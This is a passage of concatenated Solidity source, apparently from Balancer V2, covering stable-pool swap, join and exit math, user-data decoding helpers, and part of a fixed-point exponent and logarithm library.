// Given that we need to have a greater final balance out, the invariant needs to be rounded up
uint256 invariant = _calculateInvariant(amplificationParameter, balances, true);
balances[tokenIndexIn] = balances[tokenIndexIn].add(tokenAmountIn);
uint256 finalBalanceOut = _getTokenBalanceGivenInvariantAndAllOtherBalances(
amplificationParameter,
balances,
invariant,
tokenIndexOut
);
// No need to use checked arithmetic since `tokenAmountIn` was actually added to the same balance right before
// calling `_getTokenBalanceGivenInvariantAndAllOtherBalances` which doesn't alter the balances array.
balances[tokenIndexIn] = balances[tokenIndexIn] - tokenAmountIn;
return balances[tokenIndexOut].sub(finalBalanceOut).sub(1);
}
// Computes how many tokens must be sent to a pool if `tokenAmountOut` are sent given the
// current balances, using the Newton-Raphson approximation.
// The amplification parameter equals: A n^(n-1)
function _calcInGivenOut(
uint256 amplificationParameter,
uint256[] memory balances,
uint256 tokenIndexIn,
uint256 tokenIndexOut,
uint256 tokenAmountOut
) internal pure returns (uint256) {
/**************************************************************************************************************
// inGivenOut token x for y - polynomial equation to solve //
// ax = amount in to calculate //
// bx = balance token in //
// x = bx + ax (finalBalanceIn) //
// D = invariant D D^(n+1) //
// A = amplification coefficient x^2 + ( S - ---------- - D) * x - ------------- = 0 //
// n = number of tokens (A * n^n) A * n^2n * P //
// S = sum of final balances but x //
// P = product of final balances but x //
**************************************************************************************************************/
// Amount in, so we round up overall.
// Given that we need to have a greater final balance in, the invariant needs to be rounded up
uint256 invariant = _calculateInvariant(amplificationParameter, balances, true);
balances[tokenIndexOut] = balances[tokenIndexOut].sub(tokenAmountOut);
uint256 finalBalanceIn = _getTokenBalanceGivenInvariantAndAllOtherBalances(
amplificationParameter,
balances,
invariant,
tokenIndexIn
);
// No need to use checked arithmetic since `tokenAmountOut` was actually subtracted from the same balance right
// before calling `_getTokenBalanceGivenInvariantAndAllOtherBalances` which doesn't alter the balances array.
balances[tokenIndexOut] = balances[tokenIndexOut] + tokenAmountOut;
return finalBalanceIn.sub(balances[tokenIndexIn]).add(1);
}
function _calcBptOutGivenExactTokensIn(
uint256 amp,
uint256[] memory balances,
uint256[] memory amountsIn,
uint256 bptTotalSupply,
uint256 swapFeePercentage
) internal pure returns (uint256) {
// BPT out, so we round down overall.
// First loop calculates the sum of all token balances, which will be used to calculate
// the current weights of each token, relative to this sum
uint256 sumBalances = 0;
for (uint256 i = 0; i < balances.length; i++) {
sumBalances = sumBalances.add(balances[i]);
}
// Calculate the weighted balance ratio without considering fees
uint256[] memory balanceRatiosWithFee = new uint256[](amountsIn.length);
// The weighted sum of token balance ratios without fee
uint256 invariantRatioWithFees = 0;
for (uint256 i = 0; i < balances.length; i++) {
uint256 currentWeight = balances[i].divDown(sumBalances);
balanceRatiosWithFee[i] = balances[i].add(amountsIn[i]).divDown(balances[i]);
invariantRatioWithFees = invariantRatioWithFees.add(balanceRatiosWithFee[i].mulDown(currentWeight));
}
// Second loop calculates new amounts in, taking into account the fee on the percentage excess
uint256[] memory newBalances = new uint256[](balances.length);
for (uint256 i = 0; i < balances.length; i++) {
uint256 amountInWithoutFee;
// Check if the balance ratio is greater than the ideal ratio to charge fees or not
if (balanceRatiosWithFee[i] > invariantRatioWithFees) {
uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithFees.sub(FixedPoint.ONE));
uint256 taxableAmount = amountsIn[i].sub(nonTaxableAmount);
// No need to use checked arithmetic for the swap fee, it is guaranteed to be lower than 50%
amountInWithoutFee = nonTaxableAmount.add(taxableAmount.mulDown(FixedPoint.ONE - swapFeePercentage));
} else {
amountInWithoutFee = amountsIn[i];
}
newBalances[i] = balances[i].add(amountInWithoutFee);
}
// Get current and new invariants, taking swap fees into account
uint256 currentInvariant = _calculateInvariant(amp, balances, true);
uint256 newInvariant = _calculateInvariant(amp, newBalances, false);
uint256 invariantRatio = newInvariant.divDown(currentInvariant);
// If the invariant didn't increase for any reason, we simply don't mint BPT
if (invariantRatio > FixedPoint.ONE) {
return bptTotalSupply.mulDown(invariantRatio - FixedPoint.ONE);
} else {
return 0;
}
}
function _calcTokenInGivenExactBptOut(
uint256 amp,
uint256[] memory balances,
uint256 tokenIndex,
uint256 bptAmountOut,
uint256 bptTotalSupply,
uint256 swapFeePercentage
) internal pure returns (uint256) {
// Token in, so we round up overall.
// Get the current invariant
uint256 currentInvariant = _calculateInvariant(amp, balances, true);
// Calculate new invariant
uint256 newInvariant = bptTotalSupply.add(bptAmountOut).divUp(bptTotalSupply).mulUp(currentInvariant);
// Calculate amount in without fee.
uint256 newBalanceTokenIndex = _getTokenBalanceGivenInvariantAndAllOtherBalances(
amp,
balances,
newInvariant,
tokenIndex
);
uint256 amountInWithoutFee = newBalanceTokenIndex.sub(balances[tokenIndex]);
// First calculate the sum of all token balances, which will be used to calculate
// the current weight of each token
uint256 sumBalances = 0;
for (uint256 i = 0; i < balances.length; i++) {
sumBalances = sumBalances.add(balances[i]);
}
// We can now compute how much extra balance is being deposited and used in virtual swaps, and charge swap fees
// accordingly.
uint256 currentWeight = balances[tokenIndex].divDown(sumBalances);
uint256 taxablePercentage = currentWeight.complement();
uint256 taxableAmount = amountInWithoutFee.mulUp(taxablePercentage);
uint256 nonTaxableAmount = amountInWithoutFee.sub(taxableAmount);
// No need to use checked arithmetic for the swap fee, it is guaranteed to be lower than 50%
return nonTaxableAmount.add(taxableAmount.divUp(FixedPoint.ONE - swapFeePercentage));
}
/*
Flow of calculations:
amountsTokenOut -> amountsOutProportional ->
amountOutPercentageExcess -> amountOutBeforeFee -> newInvariant -> amountBPTIn
*/
function _calcBptInGivenExactTokensOut(
uint256 amp,
uint256[] memory balances,
uint256[] memory amountsOut,
uint256 bptTotalSupply,
uint256 swapFeePercentage
) internal pure returns (uint256) {
// BPT in, so we round up overall.
// First loop calculates the sum of all token balances, which will be used to calculate
// the current weights of each token relative to this sum
uint256 sumBalances = 0;
for (uint256 i = 0; i < balances.length; i++) {
sumBalances = sumBalances.add(balances[i]);
}
// Calculate the weighted balance ratio without considering fees
uint256[] memory balanceRatiosWithoutFee = new uint256[](amountsOut.length);
uint256 invariantRatioWithoutFees = 0;
for (uint256 i = 0; i < balances.length; i++) {
uint256 currentWeight = balances[i].divUp(sumBalances);
balanceRatiosWithoutFee[i] = balances[i].sub(amountsOut[i]).divUp(balances[i]);
invariantRatioWithoutFees = invariantRatioWithoutFees.add(balanceRatiosWithoutFee[i].mulUp(currentWeight));
}
// Second loop calculates new amounts in, taking into account the fee on the percentage excess
uint256[] memory newBalances = new uint256[](balances.length);
for (uint256 i = 0; i < balances.length; i++) {
// Swap fees are typically charged on 'token in', but there is no 'token in' here, so we apply it to
// 'token out'. This results in slightly larger price impact.
uint256 amountOutWithFee;
if (invariantRatioWithoutFees > balanceRatiosWithoutFee[i]) {
uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithoutFees.complement());
uint256 taxableAmount = amountsOut[i].sub(nonTaxableAmount);
// No need to use checked arithmetic for the swap fee, it is guaranteed to be lower than 50%
amountOutWithFee = nonTaxableAmount.add(taxableAmount.divUp(FixedPoint.ONE - swapFeePercentage));
} else {
amountOutWithFee = amountsOut[i];
}
newBalances[i] = balances[i].sub(amountOutWithFee);
}
// Get current and new invariants, taking into account swap fees
uint256 currentInvariant = _calculateInvariant(amp, balances, true);
uint256 newInvariant = _calculateInvariant(amp, newBalances, false);
uint256 invariantRatio = newInvariant.divDown(currentInvariant);
// return amountBPTIn
return bptTotalSupply.mulUp(invariantRatio.complement());
}
function _calcTokenOutGivenExactBptIn(
uint256 amp,
uint256[] memory balances,
uint256 tokenIndex,
uint256 bptAmountIn,
uint256 bptTotalSupply,
uint256 swapFeePercentage
) internal pure returns (uint256) {
// Token out, so we round down overall.
// Get the current and new invariants. Since we need a bigger new invariant, we round the current one up.
uint256 currentInvariant = _calculateInvariant(amp, balances, true);
uint256 newInvariant = bptTotalSupply.sub(bptAmountIn).divUp(bptTotalSupply).mulUp(currentInvariant);
// Calculate amount out without fee
uint256 newBalanceTokenIndex = _getTokenBalanceGivenInvariantAndAllOtherBalances(
amp,
balances,
newInvariant,
tokenIndex
);
uint256 amountOutWithoutFee = balances[tokenIndex].sub(newBalanceTokenIndex);
// First calculate the sum of all token balances, which will be used to calculate
// the current weight of each token
uint256 sumBalances = 0;
for (uint256 i = 0; i < balances.length; i++) {
sumBalances = sumBalances.add(balances[i]);
}
// We can now compute how much excess balance is being withdrawn as a result of the virtual swaps, which result
// in swap fees.
uint256 currentWeight = balances[tokenIndex].divDown(sumBalances);
uint256 taxablePercentage = currentWeight.complement();
// Swap fees are typically charged on 'token in', but there is no 'token in' here, so we apply it
// to 'token out'. This results in slightly larger price impact. Fees are rounded up.
uint256 taxableAmount = amountOutWithoutFee.mulUp(taxablePercentage);
uint256 nonTaxableAmount = amountOutWithoutFee.sub(taxableAmount);
// No need to use checked arithmetic for the swap fee, it is guaranteed to be lower than 50%
return nonTaxableAmount.add(taxableAmount.mulDown(FixedPoint.ONE - swapFeePercentage));
}
function _calcTokensOutGivenExactBptIn(
uint256[] memory balances,
uint256 bptAmountIn,
uint256 bptTotalSupply
) internal pure returns (uint256[] memory) {
/**********************************************************************************************
// exactBPTInForTokensOut //
// (per token) //
// aO = tokenAmountOut / bptIn \ //
// b = tokenBalance a0 = b * | --------------------- | //
// bptIn = bptAmountIn \ bptTotalSupply / //
// bpt = bptTotalSupply //
**********************************************************************************************/
// Since we're computing an amount out, we round down overall. This means rounding down on both the
// multiplication and division.
uint256 bptRatio = bptAmountIn.divDown(bptTotalSupply);
uint256[] memory amountsOut = new uint256[](balances.length);
for (uint256 i = 0; i < balances.length; i++) {
amountsOut[i] = balances[i].mulDown(bptRatio);
}
return amountsOut;
}
// The amplification parameter equals: A n^(n-1)
function _calcDueTokenProtocolSwapFeeAmount(
uint256 amplificationParameter,
uint256[] memory balances,
uint256 lastInvariant,
uint256 tokenIndex,
uint256 protocolSwapFeePercentage
) internal pure returns (uint256) {
/**************************************************************************************************************
// oneTokenSwapFee - polynomial equation to solve //
// af = fee amount to calculate in one token //
// bf = balance of fee token //
// f = bf - af (finalBalanceFeeToken) //
// D = old invariant D D^(n+1) //
// A = amplification coefficient f^2 + ( S - ---------- - D) * f - ------------- = 0 //
// n = number of tokens (A * n^n) A * n^2n * P //
// S = sum of final balances but f //
// P = product of final balances but f //
**************************************************************************************************************/
// Protocol swap fee amount, so we round down overall.
uint256 finalBalanceFeeToken = _getTokenBalanceGivenInvariantAndAllOtherBalances(
amplificationParameter,
balances,
lastInvariant,
tokenIndex
);
if (balances[tokenIndex] <= finalBalanceFeeToken) {
// This shouldn't happen outside of rounding errors, but have this safeguard nonetheless to prevent the Pool
// from entering a locked state in which joins and exits revert while computing accumulated swap fees.
return 0;
}
// Result is rounded down
uint256 accumulatedTokenSwapFees = balances[tokenIndex] - finalBalanceFeeToken;
return accumulatedTokenSwapFees.mulDown(protocolSwapFeePercentage).divDown(FixedPoint.ONE);
}
// Private functions
// This function calculates the balance of a given token (tokenIndex)
// given all the other balances and the invariant
function _getTokenBalanceGivenInvariantAndAllOtherBalances(
uint256 amplificationParameter,
uint256[] memory balances,
uint256 invariant,
uint256 tokenIndex
) internal pure returns (uint256) {
// Rounds result up overall
uint256 ampTimesTotal = amplificationParameter * balances.length;
uint256 sum = balances[0];
uint256 P_D = balances[0] * balances.length;
for (uint256 j = 1; j < balances.length; j++) {
P_D = Math.divDown(Math.mul(Math.mul(P_D, balances[j]), balances.length), invariant);
sum = sum.add(balances[j]);
}
// No need to use safe math, based on the loop above `sum` is greater than or equal to `balances[tokenIndex]`
sum = sum - balances[tokenIndex];
uint256 inv2 = Math.mul(invariant, invariant);
// We remove the balance fromm c by multiplying it
uint256 c = Math.mul(
Math.mul(Math.divUp(inv2, Math.mul(ampTimesTotal, P_D)), _AMP_PRECISION),
balances[tokenIndex]
);
uint256 b = sum.add(Math.mul(Math.divDown(invariant, ampTimesTotal), _AMP_PRECISION));
// We iterate to find the balance
uint256 prevTokenBalance = 0;
// We multiply the first iteration outside the loop with the invariant to set the value of the
// initial approximation.
uint256 tokenBalance = Math.divUp(inv2.add(c), invariant.add(b));
for (uint256 i = 0; i < 255; i++) {
prevTokenBalance = tokenBalance;
tokenBalance = Math.divUp(
Math.mul(tokenBalance, tokenBalance).add(c),
Math.mul(tokenBalance, 2).add(b).sub(invariant)
);
if (tokenBalance > prevTokenBalance) {
if (tokenBalance - prevTokenBalance <= 1) {
return tokenBalance;
}
} else if (prevTokenBalance - tokenBalance <= 1) {
return tokenBalance;
}
}
_revert(Errors.STABLE_GET_BALANCE_DIDNT_CONVERGE);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
import "./StablePool.sol";
library StablePoolUserDataHelpers {
function joinKind(bytes memory self) internal pure returns (StablePool.JoinKind) {
return abi.decode(self, (StablePool.JoinKind));
}
function exitKind(bytes memory self) internal pure returns (StablePool.ExitKind) {
return abi.decode(self, (StablePool.ExitKind));
}
// Joins
function initialAmountsIn(bytes memory self) internal pure returns (uint256[] memory amountsIn) {
(, amountsIn) = abi.decode(self, (StablePool.JoinKind, uint256[]));
}
function exactTokensInForBptOut(bytes memory self)
internal
pure
returns (uint256[] memory amountsIn, uint256 minBPTAmountOut)
{
(, amountsIn, minBPTAmountOut) = abi.decode(self, (StablePool.JoinKind, uint256[], uint256));
}
function tokenInForExactBptOut(bytes memory self) internal pure returns (uint256 bptAmountOut, uint256 tokenIndex) {
(, bptAmountOut, tokenIndex) = abi.decode(self, (StablePool.JoinKind, uint256, uint256));
}
// Exits
function exactBptInForTokenOut(bytes memory self) internal pure returns (uint256 bptAmountIn, uint256 tokenIndex) {
(, bptAmountIn, tokenIndex) = abi.decode(self, (StablePool.ExitKind, uint256, uint256));
}
function exactBptInForTokensOut(bytes memory self) internal pure returns (uint256 bptAmountIn) {
(, bptAmountIn) = abi.decode(self, (StablePool.ExitKind, uint256));
}
function bptInForExactTokensOut(bytes memory self)
internal
pure
returns (uint256[] memory amountsOut, uint256 maxBPTAmountIn)
{
(, amountsOut, maxBPTAmountIn) = abi.decode(self, (StablePool.ExitKind, uint256[], uint256));
}
}
// SPDX-License-Identifier: MIT
// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
// documentation files (the “Software”), to deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the
// Software.
// THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
// WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
// COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/* solhint-disable */
/**
* @dev Exponentiation and logarithm functions for 18 decimal fixed point numbers (both base and exponent/argument).
*
* Exponentiation and logarithm with arbitrary bases (x^y and log_x(y)) are implemented by conversion to natural
* exponentiation and logarithm (where the base is Euler's number).
*
* @author Fernando Martinelli - @fernandomartinelli
* @author Sergio Yuhjtman - @sergioyuhjtman
* @author Daniel Fernandez - @dmf7z
*/
library LogExpMath {
// All fixed point multiplications and divisions are inlined. This means we need to divide by ONE when multiplying
// two numbers, and multiply by ONE when dividing them.
// All arguments and return values are 18 decimal fixed point numbers.
int256 constant ONE_18 = 1e18;
// Internally, intermediate values are computed with higher precision as 20 decimal fixed point numbers, and in the
// case of ln36, 36 decimals.
int256 constant ONE_20 = 1e20;
int256 constant ONE_36 = 1e36;
// The domain of natural exponentiation is bound by the word size and number of decimals used.
//
// Because internally the result will be stored using 20 decimals, the largest possible result is
// (2^255 - 1) / 10^20, which makes the largest exponent ln((2^255 - 1) / 10^20) = 130.700829182905140221.
// The smallest possible result is 10^(-18), which makes largest negative argument
// ln(10^(-18)) = -41.446531673892822312.
// We use 130.0 and -41.0 to have some safety margin.
int256 constant MAX_NATURAL_EXPONENT = 130e18;
int256 constant MIN_NATURAL_EXPONENT = -41e18;
// Bounds for ln_36's argument. Both ln(0.9) and ln(1.1) can be represented with 36 decimal places in a fixed point
// 256 bit integer.
int256 constant LN_36_LOWER_BOUND = ONE_18 - 1e17;
int256 constant LN_36_UPPER_BOUND = ONE_18 + 1e17;
uint256 constant MILD_EXPONENT_BOUND = 2**254 / uint256(ONE_20);
// 18 decimal constants
int256 constant x0 = 128000000000000000000; // 2ˆ7
int256 constant a0 = 38877084059945950922200000000000000000000000000000000000; // eˆ(x0) (no decimals)
int256 constant x1 = 64000000000000000000; // 2ˆ6
int256 constant a1 = 6235149080811616882910000000; // eˆ(x1) (no decimals)
// 20 decimal constants
int256 constant x2 = 3200000000000000000000; // 2ˆ5
int256 constant a2 = 7896296018268069516100000000000000; // eˆ(x2)
int256 constant x3 = 1600000000000000000000; // 2ˆ4
int256 constant a3 = 888611052050787263676000000; // eˆ(x3)
int256 constant x4 = 800000000000000000000; // 2ˆ3
int256 constant a4 = 298095798704172827474000; // eˆ(x4)
int256 constant x5 = 400000000000000000000; // 2ˆ2
int256 constant a5 = 5459815003314423907810; // eˆ(x5)
int256 constant x6 = 200000000000000000000; // 2ˆ1
int256 constant a6 = 738905609893065022723; // eˆ(x6)
int256 constant x7 = 100000000000000000000; // 2ˆ0
int256 constant a7 = 271828182845904523536; // eˆ(x7)
int256 constant x8 = 50000000000000000000; // 2ˆ-1
int256 constant a8 = 164872127070012814685; // eˆ(x8)
int256 constant x9 = 25000000000000000000; // 2ˆ-2
int256 constant a9 = 128402541668774148407; // eˆ(x9)
int256 constant x10 = 12500000000000000000; // 2ˆ-3
int256 constant a10 = 113314845306682631683; // eˆ(x10)
int256 constant x11 = 6250000000000000000; // 2ˆ-4
int256 constant a11 = 106449445891785942956; // eˆ(x11)
/**
* @dev Exponentiation (x^y) with unsigned 18 decimal fixed point base and exponent.
*
* Reverts if ln(x) * y is smaller than `MIN_NATURAL_EXPONENT`, or larger than `MAX_NATURAL_EXPONENT`.
*/
function pow(uint256 x, uint256 y) internal pure returns (uint256) {
if (y == 0) {
// We solve the 0^0 indetermination by making it equal one.
return uint256(ONE_18);
}
if (x == 0) {
return 0;
}
// Instead of computing x^y directly, we instead rely on the properties of logarithms and exponentiation to
// arrive at that result. In particular, exp(ln(x)) = x, and ln(x^y) = y * ln(x). This means
// x^y = exp(y * ln(x)).
// The ln function takes a signed value, so we need to make sure x fits in the signed 256 bit range.
_require(x < 2**255, Errors.X_OUT_OF_BOUNDS);
int256 x_int256 = int256(x);
// We will compute y * ln(x) in a single step. Depending on the value of x, we can either use ln or ln_36. In
// both cases, we leave the division by ONE_18 (due to fixed point multiplication) to the end.
// This prevents y * ln(x) from overflowing, and at the same time guarantees y fits in the signed 256 bit range.
_require(y < MILD_EXPONENT_BOUND, Errors.Y_OUT_OF_BOUNDS);
int256 y_int256 = int256(y);
int256 logx_times_y;
if (LN_36_LOWER_BOUND < x_int256 && x_int256 < LN_36_UPPER_BOUND) {
int256 ln_36_x = _ln_36(x_int256);
// ln_36_x has 36 decimal places, so multiplying by y_int256 isn't as straightforward, since we can't just
// bring y_int256 to 36 decimal places, as it might overflow. Instead, we perform two 18 decimal
// multiplications and add the results: one with the first 18 decimals of ln_36_x, and one with the
// (downscaled) last 18 decimals.
logx_times_y = ((ln_36_x / ONE_18) * y_int256 + ((ln_36_x % ONE_18) * y_int256) / ONE_18);
} else {
logx_times_y = _ln(x_int256) * y_int256;
}
logx_times_y /= ONE_18;
// Finally, we compute exp(y * ln(x)) to arrive at x^y
_require(
MIN_NATURAL_EXPONENT <= logx_times_y && logx_times_y <= MAX_NATURAL_EXPONENT,
Errors.PRODUCT_OUT_OF_BOUNDS
);
return uint256(exp(logx_times_y));
}
/**
* @dev Natural exponentiation (e^x) with signed 18 decimal fixed point exponent.
*
* Reverts if `x` is smaller than MIN_NATURAL_EXPONENT, or larger than `MAX_NATURAL_EXPONENT`.
*/
function exp(int256 x) internal pure returns (int256) {
_require(x >= MIN_NATURAL_EXPONENT && x <= MAX_NATURAL_EXPONENT, Errors.INVALID_EXPONENT);
if (x < 0) {
// We only handle positive exponents: e^(-x) is computed as 1 / e^x. We can safely make x positive since it
// fits in the signed 256 bit range (as it is larger than MIN_NATURAL_EXPONENT).
// Fixed point division requires multiplying by ONE_18.
return ((ONE_18 * ONE_18) / exp(-x));
}
// First, we use the fact that e^(x+y) = e^x * e^y to decompose x into a sum of powers of two, which we call x_n,
// where x_n == 2^(7 - n), and e^x_n = a_n has been precomputed. We choose the first x_n, x0, to equal 2^7
// because all larger powers are larger than MAX_NATURAL_EXPONENT, and therefore not present in the
// decomposition.
// At the end of this process we will have the product of all e^x_n = a_n that apply, and the remainder of this
// decomposition, which will be lower than the smallest x_n.
// exp(x) = k_0 * a_0 * k_1 * a_1 * ... + k_n * a_n * exp(remainder), where each k_n equals either 0 or 1.
// We mutate x by subtracting x_n, making it the remainder of the decomposition.
// The first two a_n (e^(2^7) and e^(2^6)) are too large if stored as 18 decimal numbers, and could cause
// intermediate overflows. Instead we store them as plain integers, with 0 decimals.
// Additionally, x0 + x1 is larger than MAX_NATURAL_EXPONENT, which means they will not both be present in the
// decomposition.
// For each x_n, we test if that term is present in the decomposition (if x is larger than it), and if so deduct
// it and compute the accumulated product.
int256 firstAN;
if (x >= x0) {
x -= x0;
firstAN = a0;
} else if (x >= x1) {
x -= x1;
firstAN = a1;
} else {
firstAN = 1; // One with no decimal places
}
// We now transform x into a 20 decimal fixed point number, to have enhanced precision when computing the
// smaller terms.
x *= 100;
// `product` is the accumulated product of all a_n (except a0 and a1), which starts at 20 decimal fixed point
// one. Recall that fixed point multiplication requires dividing by ONE_20.
int256 product = ONE_20;
if (x >= x2) {
x -= x2;
product = (product * a2) / ONE_20;
}
if (x >= x3) {
x -= x3;
product = (product * a3) / ONE_20;
}
if (x >= x4) {
x -= x4;
product = (product * a4) / ONE_20;
}
if (x >= x5) {
x -= x5;
product = (product * a5) / ONE_20;
}
if (x >= x6) {
x -= x6;
product = (product * a6) / ONE_20;
}
if (x >= x7) {
x -= x7;
product = (product * a7) / ONE_20;
}
if (x >= x8) {
x -= x8;
product = (product * a8) / ONE_20;
}
if (x >= x9) {
x -= x9;
product = (product * a9) / ONE_20;
}
// x10 and x11 are unnecessary here since we have high enough precision already.
// Now we need to compute e^x, where x is small (in particular, it is smaller than x9). We use the Taylor series
// expansion for e^x: 1 + x + (x^2 / 2!) + (x^3 / 3!) + ... + (x^n / n!).
int256 seriesSum = ONE_20; // The initial one in the sum, with 20 decimal places.
int256 term; // Each term in the sum, where the nth term is (x^n / n!).
// The first term is simply x.
term = x;
seriesSum += term;
// Each term (x^n / n!) equals the previous one times x, divided by n. Since x is a fixed point number,
// multiplying by it requires dividing by ONE_20, but dividing by the non-fixed point n values does not.
term = ((term * x) / ONE_20) / 2;
seriesSum += term;
term = ((term * x) / ONE_20) / 3;
seriesSum += term;
term = ((term * x) / ONE_20) / 4;
seriesSum += term;
term = ((term * x) / ONE_20) / 5;
seriesSum += term;
term = ((term * x) / ONE_20) / 6;
seriesSum += term;
term = ((term * x) / ONE_20) / 7;
seriesSum += term;
term = ((term * x) / ONE_20) / 8;
seriesSum += term;
term = ((term * x) / ONE_20) / 9;
seriesSum += term;
term = ((term * x) / ONE_20) / 10;
seriesSum += term;
term = ((term * x) / ONE_20) / 11;
seriesSum += term;
term = ((term * x) / ONE_20) / 12;
seriesSum += term;
// 12 Taylor terms are sufficient for 18 decimal precision.
// We now have the first a_n (with no decimals), and the product of all other a_n present, and the Taylor
// approximation of the exponentiation of the remainder (both with 20 decimals). All that remains is to multiply
// all three (one 20 decimal fixed point multiplication, dividing by ONE_20, and one integer multiplication),
// and then drop two digits to return an 18 decimal value.
return (((product * seriesSum) / ONE_20) * firstAN) / 100;
}
/**
* @dev Logarithm (log(arg, base), with signed 18 decimal fixed point base and argument.
*/
function log(int256 arg, int256 base) internal pure returns (int256) {
// This performs a simple base change: log(arg, base) = ln(arg) / ln(base).
// Both logBase and logArg are computed as 36 decimal fixed point numbers, either by using ln_36, or by
// upscaling.
int256 logBase;
if (LN_36_LOWER_BOUND < base && base < LN_36_UPPER_BOUND) {
logBase = _ln_36(base);
} else {
logBase = _ln(base) * ONE_18;
}
int256 logArg;
if (LN_36_LOWER_BOUND < arg && arg < LN_36_UPPER_BOUND) {
logArg = _ln_36(arg);
} else {
logArg = _ln(arg) * ONE_18;
}
// When dividing, we multiply by ONE_18 to arrive at a result with 18 decimal places
return (logArg * ONE_18) / logBase;
}
/**
* @dev Natural logarithm (ln(a)) with signed 18 decimal fixed point argument.
*/
function ln(int256 a) internal pure returns (int256) {
// The real natural logarithm is not defined for negative numbers or zero.
_require(a > 0, Errors.OUT_OF_BOUNDS);
if (LN_36_LOWER_BOUND < a && a < LN_36_UPPER_BOUND) {
return _ln_36(a) / ONE_18;
} else {
return _ln(a);
}
}
/**
* @dev Internal natural logarithm (ln(a)) with signed 18 decimal fixed point argument.
*/
function _ln(int256 a) private pure returns (int256) {
if (a < ONE_18) {
// Since ln(a^k) = k * ln(a), we can compute ln(a) as ln(a) = ln((1/a)^(-1)) = - ln((1/a)). If a is less
// than one, 1/a will be greater than one, and this if statement will not be entered in the recursive call.
// Fixed point division requires multiplying by ONE_18.
return (-_ln((ONE_18 * ONE_18) / a));
}
// First, we use the fact that ln^(a * b) = ln(a) + ln(b) to decompose ln(a) into a sum of powers of two, which
// we call x_n, where x_n == 2^(7 - n), which are the natural logarithm of precomputed quantities a_n (that is,
// ln(a_n) = x_n). We choose the first x_n, x0, to equal 2^7 because the exponential of all larger powers cannot
// be represented as 18 fixed point decimal numbers in 256 bits, and are therefore larger than a.
// At the end of this process we will have the sum of all x_n = ln(a_n) that apply, and the remainder of this
// decomposition, which will be lower than the smallest a_n.
// ln(a) = k_0 * x_0 + k_1 * x_1 + ... + k_n * x_n + ln(remainder), where each k_n equals either 0 or 1.
// We mutate a by subtracting a_n, making it the remainder of the decomposition.
// For reasons related to how `exp` works, the first two a_n (e^(2^7) and e^(2^6)) are not stored as fixed point
// numbers with 18 decimals, but instead as plain integers with 0 decimals, so we need to multiply them by
// ONE_18 to convert them to fixed point.
// For each a_n, we test if that term is present in the decomposition (if a is larger than it), and if so divide
// by it and compute the accumulated sum.
int256 sum = 0;
if (a >= a0 * ONE_18) {
a /= a0; // Integer, not fixed point division
sum += x0;
}
if (a >= a1 * ONE_18) {
a /= a1; // Integer, not fixed point division
sum += x1;
}
// All other a_n and x_n are stored as 20 digit fixed point numbers, so we convert the sum and a to this format.
sum *= 100;
a *= 100;
// Because further a_n are 20 digit fixed point numbers, we multiply by ONE_20 when dividing by them.
if (a >= a2) {
a = (a * ONE_20) / a2;
sum += x2;
}
if (a >= a3) {
a = (a * ONE_20) / a3;
sum += x3;
}
if (a >= a4) {
a = (a * ONE_20) / a4;
sum += x4;
}
if (a >= a5) {
a = (a * ONE_20) / a5;
sum += x5;
}
if (a >= a6) {
a = (a * ONE_20) / a6;
sum += x6;
}
if (a >= a7) {
a = (a * ONE_20) / a7;
sum += x7;
}
if (a >= a8) {
a = (a * ONE_20) / a8;
sum += x8;
}
if (a >= a9) {
a = (a * ONE_20) / a9;
sum += x9;
}
if (a >= a10) {
a = (a * ONE_20) / a10;
sum += x10;
}
if (a >= a11) {
a = (a * ONE_20) / a11;
sum += x11;
}
// a is now a small number (smaller than a_11, which roughly equals 1.06). This means we can use a Taylor series
// that converges rapidly for values of `a` close to one - the same one used in ln_36.
// Let z = (a - 1) / (a + 1).
// ln(a) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))
// Recall that 20 digit fixed point division requires multiplying by ONE_20, and multiplication requires
// division by ONE_20.
int256 z = ((a - ONE_20) * ONE_20) / (a + ONE_20);
int256 z_squared = (z * z) / ONE_20;
// num is the numerator of the series: the z^(2 * n + 1) term
int256 num = z;
// seriesSum holds the accumulated sum of each term in the series, starting with the initial z
int256 seriesSum = num;
// In each step, the numerator is multiplied by z^2
num = (num * z_squared) / ONE_20;
seriesSum += num / 3;
num = (num * z_squared) / ONE_20;
seriesSum += num / 5;
num = (num * z_squared) / ONE_20;
seriesSum += num / 7;
num = (num * z_squared) / ONE_20;
seriesSum += num / 9;
num = (num * z_squared) / ONE_20;
seriesSum += num / 11;
// 6 Taylor terms are sufficient for 36 decimal precision.
// Finally, we multiply by 2 (non fixed point) to compute ln(remainder)
seriesSum *= 2;
// We now have the sum of all x_n present, and the Taylor approximation of the logarithm of the remainder (both
// with 20 decimals). All that remains is to sum these two, and then drop two digits to return a 18 decimal
// value.
return (sum + seriesSum) / 100;
}
/**
* @dev Intrnal high precision (36 decimal places) natural logarithm (ln(x)) with signed 18 decimal fixed point argument,
